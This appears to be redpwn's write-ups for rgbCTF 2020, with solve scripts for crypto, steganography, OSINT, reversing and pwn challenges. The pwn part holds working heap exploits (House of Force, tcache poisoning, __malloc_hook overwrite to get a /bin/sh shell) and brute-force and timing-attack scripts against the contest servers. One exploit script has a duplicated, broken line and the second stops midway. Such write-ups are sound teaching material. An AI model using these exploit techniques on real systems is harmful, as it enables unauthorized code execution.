# rgbCTF 2020
redpwn writeups
## Cryptography - I Love Rainbows
You're given hashes. Crack them using crackstation and assemble to get flag.
## Cryptography - ᵉ
We see three numbers which are labeled `n`,`e`, and `c`. Since `e` is small and $c \lll n$, we can probably apply an `e`th root attack.
```python=
import gmpy2
e = 0b1101
c = 0x6003a15ff3f9bc74fcc48dc0f5fc59c31cb84df2424c9311d94cb40570eeaa78e0f8fc2917addd1afc8e5810b2e80a95019c88c4ee74849777eb9d0ee27ab80d3528c6f3f95a37d1581f9b3cd8976904c42f8613ee79cf8c94074ede9f034b61433f1fef835f2a0a45663ec4a0facedc068f6fa2b534c9c7a2f4789c699c2dcd952ed82180a6de00a51904c2df74eb73996845842276d5523c66800034351204b921d4780180ca646421c61033017e4986d9f6a892ed649c4fd40d4cf5b4faf0befb1e2098ee33b8bea461a8626dd8cd2eed05ccd471700e2a1b99ed347660cbd0f202212f6c0d7ad8ef6f878d887af0cd0429c417c9f7dd64890146b91152ea0c30637ce503635018fd2caf436a12378e5892992b8ec563f0988fc0cebd2926662d4604b8393fb2000
print(bytes.fromhex(hex(gmpy2.iroot(c,e)[0])[2:])[::-1])
```
Flag: `rgbCTF{lucky_number_13}`
## Cryptography - Occasionally Tested Protocol
OTP but you just know the key.
```python
from pwn import *
from random import seed, randint as w
from time import time
def int_to_bytes(x):
return x.to_bytes((x.bit_length()//8)+1,byteorder="little")
r = remote('167.172.123.213',12345)
seed(int(time()))
# get locally
arr = []
for _ in range(10):
arr.append(w(5, 10000))
b = bytearray([w(0, 255) for _ in range(40)])
# get from server
r.recvline()
arr2 = []
for i in range(10):
arr2.append(int(r.recvline().decode().strip()))
assert arr == arr2
num = int(r.recvline().decode().strip().split(':')[1])
bytes = int_to_bytes(num)
flag = ''
for i in range(len(bytes)):
print(b[i],bytes[i])
flag += chr(b[i]^bytes[i])
print(flag)
```
## Cryptography - Shakespeare Play, Lost (and found!)
We guess that the `play` file is the Shakespeare Programming Langauge, so we [run the file](https://tio.run/##7VvLTuMwFN3nKy4rNgwf0B0gBmZLZ4MqFm5620Q4duQHJV9fnAxCI6aDxNuP00WVtH7d9/G9tu3lbndCUqtN@LKOeikGEkvtHTnDbI9oa1rnWBHf19Lb9o7lQMuB5o24ZduzMExrbejq4nTO9XFVXemO9RGJvg9/KRdaCzKib1fhqW6E2rRhrs5L19ZaasOraaLj6lJ0kl3oSD0bqxVtG021UIeOujAV@Z6a1lLXqlWYpaI9n5Pa0a8ZnY3jrr2k39PAe5vOa1Y8Nv4prPvxtK7HHotz5djQnyWRUCuaqLqpHlc5o2vtaSRdadeEjgdPPwRiA0mbMI6ipfT8/HUk9q/WNrB9Yml4cg2T9R3p9f5Rxq7TYlwzWJbr1w3z1t7/9psHqd/SoL2ZpHHwrUx5H3HP1vC13C2Gte9X3v9IKCp2fZyBpa86MdIUhWhjkBJ81Xf4qjKN@iXZZERcCvEpWqSUtZIDZGcUBXOFa5/oGmDcwAKASCmHRsS0orx5RhzJVHNBVoLwA@ll7LSiU5HsvQK0BI4EuzpU/FB0QAgAU/J0ekkxEcgC2dHEK2Q4cRWV9SVFUnaKjGxp4SAdVTlUe1KCr1DhfHZ8EBySk2UmGYvA8VB@QJFiz@Fm7iWiKR8gwuAAFE4KgTOwGCQHk0AvhbtngBrcSIk9viOlCbiCOxioN6DkXnoIxk0aYHQEZGgOdvfY3SdnH9keXP7UYvvi/J69cjfVbvcA). Output is `VmxSQ2EyTXlVbGhWYTFacFRXMVNVMWxzVW5OTmJHeFpZa1ZPYUdKVldscFZWekExV1Zaa1JtRjZhejA9`. We apply base64 decode 5 times (why???) and get `Hint: Book cipher`.
So now we use the other file with the `play` file and perform a book cipher.
```python=
with open("play") as f:
lines = f.read().splitlines()
nums = """33, 20
71, 5
43, 142
60, 150
73, 312
78, 66
15, 22
12, 115
29, 18
51, 147
45, 68
34, 14
54, 126
15, 48
3, 4
60, 126
45, 77
13, 69""".splitlines()
for i in nums:
a,b = map(int,i.split(", "))
print(lines[a][b],end="")
print()
```
Flag: `rgbCTF{itsanrgbtreeeeeee!}`
## Cryptography - N-AES
The vuln here comes from urandom(1) only being called once, so can just brute force all possibilities to find correct one.
```python
from pwn import *
import binascii
from base64 import b64encode, b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from os import urandom
from random import seed, randint
BLOCK_SIZE = 16
def rand_block(key_seed=urandom(1)):
seed(key_seed)
return bytes([randint(0, 255) for _ in range(BLOCK_SIZE)])
r = remote('167.172.123.213',34567)
text = base64.b64decode(r.recvline(keepends=False).decode())
print("RECEIVED")
send = b''
for k in range(256):
TEXT = text
try:
for i in range(128):
TEXT = AES.new(rand_block(bytes([k])), AES.MODE_ECB).decrypt(TEXT)
#print(TEXT,k)
TEXT = unpad(TEXT,BLOCK_SIZE)
send = TEXT
print("POSSIBLY: ",send)
except Exception as e:
#print(e)
continue
r.sendlineafter('> ','3')
r.sendlineafter(': ',base64.b64encode(send))
r.interactive()
```
## Cryptography - Adequate Encryption Standard
It's a custom AES implementation, where the main differences are in the block size, the s-box, the p-box, and the key schedule. The key schedule is super wacky. Each byte in the key schedule after the first is a power of the previous byte squared, modulo 256. This is actually quite restrictive due to stuff about quadratic residues and whatever. So, we can just bruteforce every key expansion. Script below:
```python=
from base64 import b64decode
BLOCK_SIZE = 8
ROUNDS = 8
sbox = [111, 161, 71, 136, 68, 69, 31, 0, 145, 237, 169, 115, 16, 20, 22, 82, 138, 183, 232, 95, 244, 163, 64, 229, 224, 104, 231, 61, 121, 152, 97, 50, 74, 96, 247, 144, 194, 86, 186, 234, 99, 122, 46, 18, 215, 168, 173, 188, 41, 243, 219, 203, 141, 21, 171, 57, 116, 178, 233, 210, 184, 253, 151, 48, 206, 250, 133, 44, 59, 147, 137, 66, 52, 75, 187, 129, 225, 209, 191, 92, 238, 127, 241, 25, 160, 9, 170, 13, 157, 45, 205, 196, 28, 146, 142, 150, 17, 39, 24, 80, 118, 6, 32, 93, 11, 216, 220, 100, 85, 112, 222, 226, 126, 197, 180, 34, 182, 37, 148, 70, 78, 201, 236, 81, 62, 42, 193, 67, 8, 164, 43, 252, 166, 221, 208, 176, 235, 149, 109, 63, 103, 223, 65, 56, 140, 255, 218, 54, 153, 2, 228, 1, 240, 248, 246, 110, 156, 60, 227, 207, 254, 51, 174, 79, 128, 155, 251, 242, 177, 135, 230, 154, 179, 15, 189, 143, 130, 27, 107, 211, 30, 105, 19, 134, 124, 125, 245, 76, 204, 12, 26, 38, 40, 131, 117, 87, 114, 213, 212, 102, 195, 101, 55, 10, 47, 120, 200, 217, 88, 83, 36, 198, 249, 192, 23, 94, 181, 73, 185, 172, 165, 58, 53, 202, 106, 5, 7, 175, 89, 72, 90, 14, 162, 158, 119, 139, 77, 108, 190, 91, 29, 49, 159, 33, 113, 214, 4, 123, 199, 167, 35, 239, 84, 3, 132, 98]
pbox = [39, 20, 18, 62, 4, 60, 19, 43, 33, 6, 51, 61, 40, 35, 47, 16, 23, 58, 31, 53, 28, 55, 54, 30, 17, 42, 34, 45, 49, 13, 46, 0, 26, 2, 8, 3, 11, 48, 63, 36, 37, 7, 32, 5, 27, 59, 29, 44, 14, 56, 21, 22, 12, 52, 57, 41, 10, 1, 24, 38, 50, 15, 9, 25]
def to_blocks(in_bytes: bytes) -> list:
return [in_bytes[i:i + BLOCK_SIZE] for i in range(0, len(in_bytes), BLOCK_SIZE)]
def dec_sub(in_bytes: bytes) -> bytes:
return bytes([sbox.index(b) for b in in_bytes])
def dec_perm(in_bytes: bytes) -> bytes:
num = int.from_bytes(in_bytes, 'big')
binary = bin(num)[2:].rjust(BLOCK_SIZE * 8, '0')
permuted = ''.join([binary[pbox.index(i)] for i in range(BLOCK_SIZE * 8)])
out = bytes([int(permuted[i:i + 8], 2) for i in range(0, BLOCK_SIZE * 8, 8)])
return out
def expand_key_gen_helper(cur, key_len: int) -> bytes:
pos = {pow(cur, num, 256) for num in range(0,256,2)}
for i in pos:
if key_len == 1:
yield [i]
else:
for j in expand_key_gen_helper(i, key_len-1):
yield [i]+j
def expand_key_gen(key_len):
for cur in range(256):
print(cur)
for i in expand_key_gen_helper(cur,key_len):
expanded = bytearray()
expanded.append(cur)
expanded.extend(i)
yield bytes(expanded)
def decrypt(plain):
blocks = to_blocks(plain)
for key in expand_key_gen(len(blocks)):
out = bytearray()
for idx, block in enumerate(blocks):
for _ in range(ROUNDS):
block = bytearray(block)
for i in range(len(block)):
block[i] ^= key[idx]
block = dec_perm(block)
block = dec_sub(block)
block = bytearray(block)
out.extend(block)
yield bytes(out)
enc = b64decode("hQWYogqLXUO+rePyWkNlBlaAX47/2dCeLFMLrmPKcYRLYZgFuqRC7EtwX4DRtG31XY4az+yOvJJ/pwWR0/J9gg==")
for x in decrypt(enc):
if x.lower().startswith(b'rgb'):
print(x)
```
This script is quite slow, but we can greatly optimize it by running with pypy. At around where 159 is printed, we get the flag.
Flag: `rgbCTF{brut3_f0rc3_is_4LW4YS_th3_4nsw3r(but_with_0ptimiz4ti0ns)}`
## Cryptography - RubikCBC
This challenge really should provided source code. Instead, we had to guess that the block cipher function was a permutation based on the scramble. Turns out that works.
```python=
from rubik.cube import Cube
iv = "ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuv"
c = Cube(iv)
scramble = "D R2 F2 D B2 D2 R2 B2 D L2 D' R D B L2 B' L' R' B' F2 R2 D R2 B2 R2 D L2 D2 F2 R2 F' D' B2 D' B U B' L R' D'"
for i in "UDLRFB":
scramble = scramble.replace(i+"2",i+" "+i)
c.sequence(scramble.replace("'","i"))
s = str(c).replace('\n','').replace(' ','')
print(s)
with open("enc_",'rb') as f:
text = f.read()
def dec_block(block):
a = bytearray(len(block))
for i in range(len(block)):
a[i] = block[s.find(iv[i])]
return a
cur = bytearray(iv,'utf-8')
with open("out.pdf","wb") as f:
for i in range(0,len(text),54):
block = text[i:i+54]
plain = dec_block(block)
f.write(bytes(x^y for x,y in zip(plain,cur)))
cur = block
```
Requires the rubik-cube module (`pip install rubik-cube`). Output is a PDF with a QR code, which we scan to get the flag.
Flag: `rgbCTF{!IP_over_Avian_Carriers_with_QoS!}`
## Cryptography - Grab your jisho
Guess that each kanji maps to a letter. Start substituting a few things by hand (starting with the http link). Then guess that a text this large (that's properly wrapped!) is from Project Gutenberg. Locate the license portion of the text to confirm, and figure out the structure of the book's title. Grep the list of all Gutenberg texts until you find the one that matches, and download it. Clean up the first few lines until they match, and write a script to recover all the character mappings (and remove `°` and `æ` characters because they apparently were removed before encoding the ciphertext---oh also replace `œ` with `oe` because that's consistent).
```python
import unicodedata
import re
from pathlib import Path
orig = Path('extract_orig.txt').read_text()
jisho = Path('extract_jisho.txt').read_text()
subs = {'\n': '\n'}
latin_re = re.compile(r'(LATIN.*LETTER .) WITH .*')
accent_map = dict()
def strip_accent(c: str) -> str:
if c not in accent_map:
if len(c) > 1:
accent_map[c] = c[0]
else:
name = unicodedata.name(c)
match = latin_re.match(name)
if match is not None:
accent_map[c] = unicodedata.lookup(match.group(1))
else:
accent_map[c] = c
return accent_map[c]
if __name__ == '__main__':
l = 0
for ol, jl in zip(orig.splitlines(), jisho.splitlines()):
l += 1
i = 0
for oc, jc in zip(ol, jl):
i += 1
oc = strip_accent(oc.lower())
if oc.isdigit():
oc = '_'
if jc not in subs:
subs[jc] = oc
else:
if subs[jc] == oc:
continue
else:
print(f'{l}:{i} {repr(subs[jc])} {repr(oc)}')
# skip this line
break
Path('extract_decoded.txt').write_text(''.join(subs.get(jc, jc) for jc in jisho))
Path('mappings.txt').write_text('\n'.join(f"{o + j} {unicodedata.name(j)}" for o, j in sorted((v, k) for k, v in subs.items()) if o != j))
```
Realize that you're left with `rgbctf讞鸞鸚鱺yominikui鸝钁厵鬱` ~~and cry because those characters never show up in the ciphertext~~. Dump the character mapping dictionary and realize that the encoding is based on stroke count (0x60 + strokes). Manually look up the last 8 characters on http://www.unicode.org/charts/unihan.html and get flag.
`rgbctf{~|~yominikui~|~}`
<sup>we almost guessed the flag, we tried `rgbctf{~*~yominikui~*~}` and `rgbctf{~~~yominikui~~~}` T.T</sup>
## Forensics/OSINT - Alien Transmission 1
SSTV
## Forensics/OSINT - PI 1: Magic in the air
```python
newmap = {
2: "PostFail",
4: "a",
5: "b",
6: "c",
7: "d",
8: "e",
9: "f",
10: "g",
11: "h",
12: "i",
13: "j",
14: "k",
15: "l",
16: "m",
17: "n",
18: "o",
19: "p",
20: "q",
21: "r",
22: "s",
23: "t",
24: "u",
25: "v",
26: "w",
27: "x",
28: "y",
29: "z",
30: "1",
31: "2",
32: "3",
33: "4",
34: "5",
35: "6",
36: "7",
37: "8",
38: "9",
39: "0",
40: "\n",
41: "ESC",
42: "DEL",
43: "TAB",
44: " ",
45: "-",
47: "[",
48: "]",
56: "/",
57: "CapsLock",
79: "RightArrow",
80: "LetfArrow"
}
import sys
a = int(sys.argv[1],16)
if a in newmap:
print(newmap[a], end='')
else:
#print(hex(a))
pass
```
maps keycodes to bytes
```javascript
(for line in $(cat output.json | jq '.[]._source.layers.btatt."btatt.value"' -r | grep -v null | cut -d ':' -f 2 ); do python key.py $line; done)
```
## Forensics/OSINT - Robin's Reddit Password
Find the reddit easter egg at `https://reddit.com/etc/passwd` has a password for user `robin`. Get the cracked hashes at https://news.ycombinator.com/item?id=15596717. Submit `rgbCTF{bird}`.
## Forensics/OSINT - PI 2: A Series of Tubes
After guessing several social media platforms, we add the number from PI 1 to our contacts list and sync our snapchat to our contacts. The suspicious person has a snap, @donnylockheart.
His story shows his insta is @donnylockheart9.
His insta story shows a flight ticket and gives us some clues on his home city. Google the source, destination, and time, and guess that it's flight KL1426. The ticket also shows his full name Donovan Lockheart. It also reveals that his hometown is Birmingham, which is in GB. Assemble the pieces to get the flag.
## Forensics/OSINT - Insanity Check
LSB on the server icon.
```bash
wget https://cdn.discordapp.com/icons/699037304836063292/6749ad472542c68eda62245bb0fca0f3.png
zsteg 6749ad472542c68eda62245bb0fca0f3.png
```
Flag: `rgbCTF{y0u_c4n_d0wnl04d_th1s}`
## Forensics/OSINT - Lo-fi
Open the audio in Audacity and look at the spectrogram, and at the end it says "tinyurl". Then just guess that the wubbing near the end is actually binary, and get the bits `011001100110101000101101001100110011000000110010`. Decode to ascii, put at the end of a tinyurl link, get redirected to pastebin, and get the flag.
## Forensics/OSINT - PI 3: This isn't a secure line
some bluetooth voodoo
## Forensics/OSINT - Emoji Chain Stego
The first thing we do is put the image into stegsolve. We notice that the blue LSBs are distinctly non-random and arranged into rows and columns and whatever. It's all very strange. After a few hours of combining the images and trying other random stuff, we eventually guess that the index of the rows/columns are important, since the emojis are 128x128px. So, we list out the rows and columns and...wait, are those ASCII values?
```python=
from PIL import Image
import numpy as np
for i in range(31):
im = Image.open("pics/%02d.bmp"%i)
p = np.array(im)
rows = []
cols = []
for r in range(128):
if list(p[r,:]).count(255)>3:
rows.append(r)
for c in range(128):
if list(p[:,c]).count(255)>3:
cols.append(c)
im.close()
print(chr(max(rows+cols)),end='')
print()
```
The output is `⌂rgbC§F{Isn't_3m0ji_St3g0_fun?}`, but we can fix the flag format.
Flag: `rgbCTF{Isn't_3m0ji_St3g0_fun?}`
## Misc - Hallo?
We decoded the DTMF tones in the file and got `7774222228333#99933338#386333#866666337777#`. After realizing it was a phone keypad cipher, we got `RGCBTF YEET DTMF TONES`. We were stuck here until the description was updated with `NOTE: keep the pound symbols as pound symbols!`.
`RGCBTF#YEET#DTMF#TONES`
## Misc - Differences
We are given corrupted Java file. Make `real.java` be a fixed version and find differences to get flag:
```python
file = open('DifferenceTest.java','rb').read()
file2 = open('real.java','rb').read()
flag = ''
for i in range(len(file)):
if file[i] != file2[i]:
flag += chr(file[i]-file2[i])
print(flag)
```
## Misc - Penguins
Something to do with penguins.
After downloading the file, we get a folder with a .git directory. Looking at `git reflog`, we see some interesting commits. 

```
as yoda once told me "reward you i must"
and then he gave me this ----
rgbctf{d4ngl1ng_c0mm17s_4r3_uNf0r7un473}
```
## Misc - Picking Up The Pieces
haha Dijkstra's go brrrr
```cpp
#include <iostream>
#include <vector>
#include <queue>
#include <map>
#include <set>
using namespace std;
typedef int64_t i64;
typedef int32_t i32;
typedef int16_t i16;
typedef int8_t i8;
typedef uint64_t u64;
typedef uint32_t u32;
typedef uint16_t u16;
typedef uint8_t u8;
typedef u32 vert_t;
typedef u64 dist_t;
// distance, string
typedef tuple<dist_t, string> edge;
map<vert_t, map<vert_t, edge>> edges;
map<vert_t, vert_t> prev_map;
constexpr vert_t TARGET = 200000;
int main()
{
while (cin)
{
vert_t c1, c2;
dist_t dist;
string word;
cin >> c1 >> c2 >> dist >> word;
edges[c1].insert(make_pair(c2, edge(dist, word)));
edges[c2].insert(make_pair(c1, edge(dist, word)));
}
// (dist, (vert, prev))
typedef pair<dist_t, pair<vert_t, vert_t>> pq_elem_t;
priority_queue<pq_elem_t, vector<pq_elem_t>, greater<pq_elem_t>> pq;
pq.push(make_pair(0, make_pair(TARGET, TARGET)));
while (!pq.empty())
{
dist_t dist;
vert_t vert, prev;
pair<vert_t, vert_t> data;
tie(dist, data) = pq.top(); pq.pop();
tie(vert, prev) = data;
if (prev_map.count(vert))
{
continue;
}
prev_map[vert] = prev;
for (auto el : edges[vert])
{
vert_t next;
dist_t curr_dist;
edge e;
tie(next, e) = el;
if (prev_map.count(next))
{
continue;
}
curr_dist = get<0>(e);
pq.push(make_pair(dist + curr_dist, make_pair(next, vert)));
}
}
for (vert_t curr = 1; curr != TARGET;)
{
if (!prev_map.count(curr)) {
cerr << "path not found\n";
break;
}
vert_t prev = prev_map[curr];
edge e = edges[curr][prev];
cout << get<1>(e);
curr = prev;
}
cout << endl;
return 0;
}
```
## Misc - [another witty algo challenge name]
Standard connected components.
```rust
use std::fs::File;
use std::io::prelude::*;
fn vec_get<T>(v: &Vec<Vec<T>>, x: usize, y: usize) -> Option<&T> {
v.get(y).and_then(|k| k.get(x))
}
fn setfalse(grid: &mut Vec<Vec<bool>>, x: usize, y: usize) {
grid[y][x] = false;
if x > 0 {
if let Some(n) = vec_get(&grid, x - 1, y) {
if *n {
setfalse(grid, x - 1, y);
}
}
}
if let Some(n) = vec_get(&grid, x + 1, y) {
if *n {
setfalse(grid, x + 1, y);
}
}
if y > 0 {
if let Some(n) = vec_get(&grid, x, y - 1) {
if *n {
setfalse(grid, x, y - 1);
}
}
}
if let Some(n) = vec_get(&grid, x, y + 1) {
if *n {
setfalse(grid, x, y + 1);
}
}
}
fn main() {
let mut file = File::open("fin.txt").unwrap();
let mut contents = String::new();
file.read_to_string(&mut contents).unwrap();
let mut grid = Vec::new();
let mut counter = 0;
for l in contents.trim().split('\n') {
let mut temp = Vec::new();
for x in l.chars() {
temp.push(x == '1');
}
grid.push(temp);
}
for y in 0..grid.len() {
for x in 0..grid[y].len() {
if grid[y][x] {
counter += 1;
setfalse(&mut grid, x, y);
}
}
}
println!("{}", counter);
}
```
## Misc - [insert creative algo chall name]
We don't want duplicate combinations, so we enforce that the combinations must be sorted from least to greatest. This means the last combination-element must contain $2^{12}$. We can also pick the largest elements of the other combination-elements - there are $\binom{11}{3}$ ways to do so, which splits the 12 elements of r into 3 subsets delimited by the elements chosen. Each element in a subset can only go to a fixed number of combination-elements, so we can calculate the number of possibilities easily.
```python=
import itertools
total = 0
for i in itertools.combinations(range(11),3):
sub = 1
# could make a loop but x=4 is very small so unnecessary
sub *= pow(2,i[2]-i[1]-1)
sub *= pow(3,i[1]-i[0]-1)
sub *= pow(4,i[0])
total+=sub
print(total)
```
Flag: `rgbCTF{611501}`
## Misc - Laser 1 - Factoring
Using the not-great documentation of the nearly-featureless LaserLang langauge, I wrote a not-so-simple program to iterate over k from 1 to N and check if N%k was 0, and if it was then k was pushed onto an output stack. The thing is, the factors were pushed in reverse order and I had to write an extra bit to reverse the stack. It wasn't very fun and it probably wasn't very efficient. But I tried it anyway and it passed test cases 1 through 7 and then crapped out at 8.
So I made some adjustments to my program. Instead of going from 1 to N, I would go from N to 1, which greatly increased efficiency because I didn't have to reverse the output stack. Also, comparing k to 0 was quite easy compared to comparing k to N, which required duplicating multiple values on a stack (a non-trivial task). Eventually, I came up with the following code:
```=
Uir>r0=⌜D#
( \pururd%⌜p\
^ wrup/
\ u/
```
which passed all the test cases after waiting for a very long time (mainly due to server slowness).
Flag: `rgbCTF{l4s3rs_4r3_c00l_r1ght}`
## Misc - Ye Old PRNG
Since the challenge description provides no helpful information, we try guessing instead and do a search for "oldest prng", landing on [this Wikipedia page](https://en.wikipedia.org/wiki/List_of_random_number_generators). Now we just guess that the PRNG in use is middle-square, since it is the oldest one on the list. We verify some numbers manually and find that the "middle chunk" is biased towards the left. With this in mind we can implement it in python.
```python
def rng(n, l):
""" returns the next number given a number and length """
a = str(n**2)
return int(a[(len(a)-l)//2:-(len(a)-l)//2])
```
Requesting to challenge for the flag provides a 100-digit number. We guess that all the numbers will be this length and not have leading zeroes. Additionally, we only have to guess 10 numbers correctly, so this does not need to be scripted; opening two terminals and copy pasting is sufficient.
```python
while True:
print(rng(int(input()), 100))
```
Flag: `rgbCTF{d0nt_us3_midd13_squ4r3}`
## Misc - Laser 2 - Sorting
I was originally going to write a bubble sort implementation, but swapping elements in LaserLang is a non-trivial task. So, I write a selection sort algorithm. The advantage of selection sort is that no swapping of elements is required - the elements pushed onto the output stack are guaranteed to be sorted.
Final code:
```=
UI>c(⌜wwD >u⌜dUrDrsUl⌜pDsUdwu\
\psU# d \p v
\ DuUu(dD/
\ sUps/
```
Flag: `rgbCTF{1_f33l_y0ur_p41n_trust_m3}`
## Misc - Adventure
Originally, we tried to do this with the debugger in Stella and managed to almost get the flag, but we didn't realize it at the time.

Then, we asked with the author and he said to solve it statically. We found Hack-o-Matic and used it to show the graphics in the ROM.

## Misc - Secure RSA
Guess that you have to get first characters of each sentence and you get flag.
## Pwn/Rev - Too Slow

The `getKey()` function takes too long to run, so we just patched out the call to the function and replaced it with the final value, `0x265d1d23` so `main` looks like: 
Then, run the patched binary and get the flag.

## Pwn/Rev - Advanced Reversing Mechanics 1
```python
from z3 import *
#This is the end goal of the operations. This was not actually included in the shared object with the encryption function.
#There is no knowing what these numbers actually meant, but we assumed it was the desired output if we were able
#to input the flag into the provided program. However, we could not even do that, as no executable was provided.
hardcodedButNotReally = [0x71, 0x66, 0x61, 0x42, 0x53, 0x45, 0x7a, 0x40, 0x51, 0x4c, 0x5e, 0x30, 0x79, 0x5e, 0x31, 0x5e, 0x64, 0x59, 0x5e, 0x38, 0x61, 0x36, 0x65, 0x37, 0x63, 0x7c]
#Setting up the array of our input
flag = []
for i in xrange(len(hardcodedButNotReally)):
flag.append(BitVec("%d" % i, 16))
z = Solver()
#Repeat the entirety of the advanced ARM encryption function
for i in xrange(len(hardcodedButNotReally)):
z.add((flag[i] - 1 == hardcodedButNotReally[i]))
#Check if z3 can solve this problem; the constraints really had me worried, so I was not sure
if z.check() == sat:
solution = z.model()
#If this code is reached, huzzah! We got the flag!
ans = ""
for i in range(len(hardcodedButNotReally)):
ans += chr(int(str(solution[flag[i]])))
print(ans)
else:
quit()
# Sad face
```
## Pwn/Rev - Object Oriented Programming
Basically, your input is 16 chars and it's xorred by `2` then split into 4 chunks of 4 chars, where the first 2 chars are the class name and the next 2 are the function name, which returns another function name, which returns part of a string. You didn't even have to rev the functions, you could just guess what they did from the names. The whole string has to be "javautil". So, since it was small, I just did it by hand and got the input `enterprisecodeee`, which led to the flag `rgbCTF{enterprisecodeee}`.
## Pwn/Rev - Advanced Reversing Mechanics 2
```python
def t(n):
return n & 0xff
def dec(x,i):
x = (x<<2) | (x>>6)
x = t((x^0x43) + 7)
i %= 5
if i == 2:
x += 1
X = x
if x < 0x50:
x = t(x+10)
x = (x >> ((-i) & 7)) | t(x << i)
return chr(x)
s = ['0A','FB','F4','88','DD','9D','7D','5F','9E','A3','C6','BA','F5','95','5D','88','3B','E1','31','50','C7','FA','F5','81','99','C9','7C','23','A1','91','87','B5','B1','95','E4']
flag = ''
for i in range(len(s)):
flag += dec(int(s[i],16),i)
print(flag)
```
Get `rgbCTF{ARM_ar1thm3t1c_r²cks_fad961}`, and then just guess the flag: `rgbCTF{ARM_ar1thm3t1c_r0cks_fad961}`
## Pwn/Rev - Five Fives
This looked like a PRNG challenge except for the fact that `SecureRandom` pulls from `/dev/urandom`, so I guess it's a brute force challenge now:
```python
from pwn import *
from time import time
attempts = ["1 1 1 1 1", "1 1 1 1 2", "1 1 1 1 3", "1 1 1 1 4", "1 1 1 1 5", "1 1 1 2 1", "1 1 1 2 2", "1 1 1 2 3", "1 1 1 2 4", "1 1 1 2 5", "1 1 1 3 1", "1 1 1 3 2", "1 1 1 3 3", "1 1 1 3 4", "1 1 1 3 5", "1 1 1 4 1", "1 1 1 4 2", "1 1 1 4 3", "1 1 1 4 4", "1 1 1 4 5"]
n = 0
def tryonce():
global n
print(f"at attempt {n}")
p = remote("167.172.123.213", 7425)
p.sendlineafter("buy? ", "20")
for a in attempts:
p.sendlineafter("spaces:", a)
n += 1
p.recvline()
l = p.recvline()
if b"did not win" not in l:
print("success")
print(p.recvline())
p.interactive()
while True:
tryonce()
```
This takes a long time to run because each attempt takes 10 seconds, but additional performance can be gained with parallel processing. Sending the script to the team and having everyone run it greatly improves speed.
## Pwn/Rev - Time Machine
It's a super standard timing attack, you could look in the binary to see a `sleep` every comparison, or you could just guess it from the name.
```python
from pwn import *
from time import perf_counter, time
import string
r = remote('167.172.123.213',13373)
alpha = string.ascii_uppercase
cur = ""
times = {}
for index in range(7):
for i in alpha:
r.recvuntil(':')
s = time()
r.sendline(cur+i+'X'*(7-index))
r.recvuntil('Y')
d = time()-s
times[i] = d
b = list(alpha)
b.sort(key=lambda x:times[x])
cur += b[-1]
print(cur)
print(b[-1], times[b[-1]])
for i in alpha:
r.sendline(cur+i)
r.interactive()
```
## Pwn/Rev - sadistic reversing 1
byte by byte bf is the key:
```python
from pwn import *
import sys
import string
arr = [114, 20, 119, 59, 104, 47, 75, 56, 81, 99, 23, 71, 56, 75, 124, 31, 65, 32, 77, 55, 103, 31, 96, 18, 76, 41, 27, 122, 29, 47, 83, 33, 78, 59, 10, 56, 15, 34, 94]
flag = 'rgbCTF'
for i in range(6,len(arr)):
for k in string.printable:
F = flag+k
r = process(['./itJX.so',F])
output = int(r.recvline().decode().strip().split(' ')[-1][:-1])
r.close()
if output == arr[i]:
flag += k
break
print(flag)
```
## Pwn/Rev - soda pop bop
Good heap chall, cheesed w/ tcache (I got the idea from studysim). Full security checks are in place.
- HOF by setting party size to 0 (which causes `members[0].drink = -1;`)
- Write to tcache freelist to read some libc pointers in .bss (pretty sure GOT didn't work since RELRO and you had to write at least a newline)
- Additionally, the newline will overwrite the bottom two bytes, so trying to leak stdin@GOT would break the program; leaking stderr@GOT works
- Write to another tcache freelist to write address of system to __malloc_hook
- Allocate chunk, with the size being the pointer to the string `/bin/sh`
```python
from pwn import *
import ctypes
e = ELF("./spb")
libc = ELF("./libc.so.6")
p = remote("challenge.rgbsec.xyz", 6969)
#p = process("./spb", env={"LD_PRELOAD":libc.path})
#context.log_level="debug"
#gdb.attach(p, """pie break * main+500""")
def choose(length, title="AAAA"):
p.sendlineafter(">", "1")
p.sendlineafter(">", str(length))
p.sendlineafter(">", title)
print("chose")
def drink(idx, drink):
p.sendlineafter(">", "2")
p.sendlineafter(">", str(idx))
p.sendlineafter(">", str(drink))
print("got drink")
def sing():
p.sendlineafter(">", "3")
print("sang")
p.sendlineafter(">", "0")
p.sendlineafter(">", "")
sing()
leak = p.recvline()
pie_base = int(leak.split()[2][2:], 16) - 0xf08
print("pie_base", hex(pie_base))
choose(0x10)
sing()
leak = p.recvline()
heap_base = int(leak.split()[2][2:], 16) - 0x280
print("heap address", hex(heap_base))
top_chunk = 0x2a0+heap_base
p.sendlineafter(">", "1")
p.sendlineafter(">", str(ctypes.c_ulong(heap_base-top_chunk+0x60 - 24).value))
print("read from", pie_base + 0x202020, hex(pie_base + 0x202020))
p.recvline()
p.recvline()
choose("8", p64(pie_base + 0x202040))
p.recvuntil(">")
choose(8, "")
choose(8, "")
sing()
leak = p.recvline()
libc.address = int(leak.split()[2][2:], 16) - 0x3ec680
print("libc address", hex(libc.address))
print("malloc hook", hex(libc.sym["__malloc_hook"]))
print("system addr", hex(libc.sym["system"]))
binsh = next(libc.search("/bin/sh"))
print("binsh", hex(binsh))
choose(0x69, "\x00"*0x10 + p64(libc.sym["__malloc_hook"]))
choose(0x69, p64(libc.sym["system"]))
p.sendlineafter(">", "1")
p.sendlineafter(">", str(binsh))
p.interactive()(">", str(binsh))
p.interactive()
```
Unfortunately I didn't know how to HOF at the time so I guess Rob did it. Here is his script:
```python
from pwn import *
e = ELF("./spb")
libc = ELF("./libc.so.6")
context.binary = e.path
is_remote = "--remote" in sys.argv
def debug():
if not is_remote:
gdb.attach(p)
if is_remote:
p = remote("challenge.rgbsec.xyz", 6969)
else:
p = process(e.path)
# {"LD_PRELOAD": libc.path})
def alloc(size, data="AAAA"):
p.sendlineafter(">", "1")
p.sendlineafter(">", str(size))
p.sendlineafter(">", data)
def leak():
p.sendlineafter(">", "3")
p.recvuntil("0x")
return int(p.recvuntil(" "), 16)
p.sendlineafter(">", "0")
p.sendlineafter(">", "")
bi = leak() + 0x2010f8 + 0x40
alloc(0x10)
heap = leak()
alloc(0x100**8 - 0x290, data="")
p.sendlineafter(">", "")
alloc(0x70, "\x00" * 0x30 + p64(bi))
alloc(0x18)
alloc(0x18)
lbc = leak() - 0x7f8f21422680 + 0x00007f8f21036000
alloc(0x38, p64(lbc + libc.symbols["__malloc_hook"]))
